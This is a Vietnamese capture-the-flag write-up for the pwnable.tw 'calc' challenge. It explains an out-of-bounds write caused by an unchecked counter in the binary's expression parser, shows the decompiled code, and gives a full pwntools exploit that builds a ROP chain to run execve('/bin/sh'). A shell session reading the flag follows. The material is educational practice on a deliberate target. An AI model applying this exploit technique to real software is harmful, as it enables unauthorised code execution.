calc
Vulnerability: Chương trình tin rằng bộ đếm luôn nằm trong khoảng hợp lệ, tuy nhiên thực tế bộ đếm được cộng trừ bất kiểm soát, dẫn đến ghi out-of-bound.
Recon
Mitigation
$ pwn checksec calc
[*] '/home/hungnt/ctfs/pwnable.tw/calc/calc'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)$ file calc
calc: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=26cd6e85abb708b115d4526bcce2ea6db8a80c64, not strippedVì bài này no PIE, static binary, xem gadget thì khá là tiện nghi, nên có thể mục tiêu là ROP ở đâu đó trên stack để spawn shell.
Code
main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
ssignal(14, timeout);
alarm(60);
puts("=== Welcome to SECPROG calculator ===");
fflush(stdout);
calc();
return puts("Merry Christmas!");
}calc()
unsigned int calc()
{
int buf[101]; // [esp+18h] [ebp-5A0h] BYREF
char expr[1024]; // [esp+1ACh] [ebp-40Ch] BYREF
unsigned int v3; // [esp+5ACh] [ebp-Ch]
v3 = __readgsdword(0x14u);
while ( 1 )
{
bzero(expr, 0x400u);
if ( !get_expr(expr, 1024) )
break;
init_pool(buf);
if ( parse_expr(expr, buf) )
{
printf("%d\n", buf[buf[0]]);
fflush(stdout);
}
}
return __readgsdword(0x14u) ^ v3;
}parse_expr()
int __cdecl parse_expr(char *expr, _DWORD *buf)
{
int idx; // eax
char *operand_begin; // [esp+20h] [ebp-88h]
int i; // [esp+24h] [ebp-84h]
int v6; // [esp+28h] [ebp-80h]
char *operand_size; // [esp+2Ch] [ebp-7Ch]
char *operand_str; // [esp+30h] [ebp-78h]
int operand; // [esp+34h] [ebp-74h]
char s[100]; // [esp+38h] [ebp-70h] BYREF
unsigned int v11; // [esp+9Ch] [ebp-Ch]
v11 = __readgsdword(0x14u);
operand_begin = expr;
v6 = 0;
bzero(s, 100u);
for ( i = 0; ; ++i )
{
if ( expr[i] - (unsigned int)'0' > 9 ) // operator
{
operand_size = (char *)(&expr[i] - operand_begin);
operand_str = (char *)malloc(operand_size + 1);
memcpy(operand_str, operand_begin, operand_size);
operand_str[(_DWORD)operand_size] = 0;
if ( !strcmp(operand_str, "0") )
{
puts((int)"prevent division by zero");
fflush(stdout);
return 0;
}
operand = atoi(operand_str);
if ( operand > 0 )
{
idx = (*buf)++;
buf[idx + 1] = operand;
}
if ( expr[i] && expr[i + 1] - (unsigned int)'0' > 9 )
{
puts((int)"expression error!");
fflush(stdout);
return 0;
}
operand_begin = &expr[i + 1];
if ( s[v6] )
{
switch ( expr[i] )
{
case '%':
case '*':
case '/':
if ( s[v6] != '+' && s[v6] != '-' )
goto LABEL_14;
s[++v6] = expr[i];
break;
case '+':
case '-':
LABEL_14:
eval(buf, s[v6]);
s[v6] = expr[i];
break;
default:
eval(buf, s[v6--]);
break;
}
}
else
{
s[v6] = expr[i];
}
if ( !expr[i] )
break;
}
}
while ( v6 >= 0 )
eval(buf, s[v6--]);
return 1;
}eval()
_DWORD *__cdecl eval(_DWORD *buf, char op)
{
_DWORD *result; // eax
if ( op == '+' )
{
buf[*buf - 1] += buf[*buf];
}
else if ( op > '+' )
{
if ( op == '-' )
{
buf[*buf - 1] -= buf[*buf];
}
else if ( op == '/' )
{
buf[*buf - 1] /= (int)buf[*buf];
}
}
else if ( op == '*' )
{
buf[*buf - 1] *= buf[*buf];
}
result = buf;
--*buf;
return result;
}Solve
Mình để ý ở đây trong hàm parse_expr():
if ( operand > 0 )
{
idx = (*buf)++;
buf[idx + 1] = operand;
}Vì idx = buf[0], và ko có chỗ nào được check xem có nằm trong giới hạn hợp lệ hay ko, mình có ý tưởng làm sao để gây out-of-bound. Do buf là một biến cục bộ của hàm calc(), nếu mình gây oob với index âm, có thể ghi vào return address của hàm parse_expr().
Để đưa idx về âm, mình cần phải bypass idx = (*buf)++ trong parse_expr() và liên tục gọi eval() để có --*buf. Mình nhận ra rằng chương trình chỉ check “0”, chứ ko check “00…”, nên có thể nhập +00 liên tục để gọi eval().
Sau khi đã đưa về đc idx âm mong muốn, mình nhập operand là địa chỉ các gadget vói buf[idx + 1] = operand;, kết hợp với việc lợi dụng logic để ghi được rop chain hoàn chỉnh.
Vì trong binary ko có chuỗi /bin/sh, nên mình ROP để read() nó trước, rồi mới return về hàm main(), ROP lại lần nữa để execve.
Script
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len
exe = ELF("calc_patched", checksec=False)
context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
b *0x0804912b
# b *0x0804914c
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
sleep(0.1)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(1)
return p
else:
host = "chall.pwnable.tw"
port = 10100
return remote(host, port)
p = conn()
sleep(1)
pop_eax_ret = 0x0805c34b
pop_ebx_edx_ret = 0x080701a9
pop_edx_ecx_ebx_ret = 0x080701d0
int_0x80_ret = 0x8070880
main = 0x8049452
sh = 0x80ed4d4 + 16
sla(p, b'calculator ===', flat(
b'+00' * 8,
b'+',
str(pop_ebx_edx_ret - 1).encode(),
b'*1+1+',
str(1).encode(),
b'*1-1+',
str(0x31337 - 1).encode(),
b'*1+1+',
str(pop_eax_ret - 1).encode(),
b'*1+1+',
str(0x3 - 1).encode(),
b'*1+1+',
str(int_0x80_ret - 1).encode(),
b'*1+1+',
str(main).encode(),
b'*1+0'
))
sleep(1)
s(p, pad(16, b'\0') + b'/bin/sh\0')
sla(p, b'calculator ===', flat(
b'+00' * 8,
b'+',
str(pop_edx_ecx_ebx_ret - 1).encode(),
b'*1+1+',
str(1).encode(),
b'*1-1+',
str(1).encode(),
b'*1-1+',
str(sh - 1).encode(),
b'*1+1+',
str(pop_eax_ret - 1).encode(),
b'*1+1+',
str(0xb - 1).encode(),
b'*1+1+',
str(int_0x80_ret).encode(),
b'*1+0',
))
rr(p, 1)
ia(p)$ py solve.py
[+] Opening connection to chall.pwnable.tw on port 10100: Done
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cd home
$ ls
calc
$ cd calc
$ ls
calc
flag
run.sh
$ cat flag
FLAG{C:\Windows\System32\calc.exe}